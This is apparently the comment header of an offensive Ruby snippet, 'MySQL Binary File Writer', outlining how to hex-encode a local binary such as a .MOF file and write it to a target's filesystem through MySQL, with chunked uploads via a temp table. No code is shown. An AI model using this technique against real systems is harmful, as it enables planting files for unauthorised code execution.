MySQL Binary File Writer

# Code Snippet by HR

# We need mysql gem for connection handling

# Take our local file, convert to hex and write to target filesystem
# This will work for any binary file, not just .MOF files....
# Try to keep your upload file size small or you will have to use more SQL magic to upload it in chunks to a temp db and table, then dump the table content to file but lets keep it simple....
